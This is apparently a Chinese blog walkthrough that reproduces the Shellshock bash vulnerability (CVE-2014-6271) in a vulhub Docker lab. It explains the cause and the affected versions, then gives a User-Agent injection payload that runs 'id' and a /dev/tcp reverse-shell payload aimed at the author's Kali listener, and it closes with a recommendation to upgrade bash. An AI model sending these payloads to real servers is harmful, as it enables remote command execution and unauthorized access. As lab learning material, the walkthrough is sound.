CVE-2014-6271-bash shellshock-破壳漏洞复现

破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务,如一些网络服务器部署,使用bash来处理某些请求,允许攻击者导致脆弱的bash版本执行任意命令。这可以让攻击者获得对计算机系统的未授权访问。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行

#漏洞成因:bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

#漏洞范围:bash版本小于等于4.3

用docker搭建vulhub漏洞靶场,服务启动后,有两个页面http://192.168.217.134:8080/victim.cgi和http://192.168.217.134:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。

能正常访问,但是当我们访问safe.cgi和victim.cgi时,却发现报了500错误

这是什么情况呢?进入docker容器查看一下日志

查看error.log

 可以看到错误原因都是permission denied,那就是权限不足的原因了,那我们就修改一下权限,让它能够被访问。

 修改为755权限就可以了

成功正常访问,打开bp进行抓包

同时抓取两个数据包payload

User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id

将payload附在User-Agent中,并发送请求

可以看到成功执行了命令,以同样的数据在safe.cgi发送请求,发现其不受影响

既然在victim.cgi可以执行命令,那么应该就可以进行反弹shell了,kali开启端口监听,执行反弹shell命令

 () { :;}; echo;/bin/bash -i >& /dev/tcp/192.168.217.139/4444 0>&1

 成功反弹shell

#防御:将bash版本升级到最新版本

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值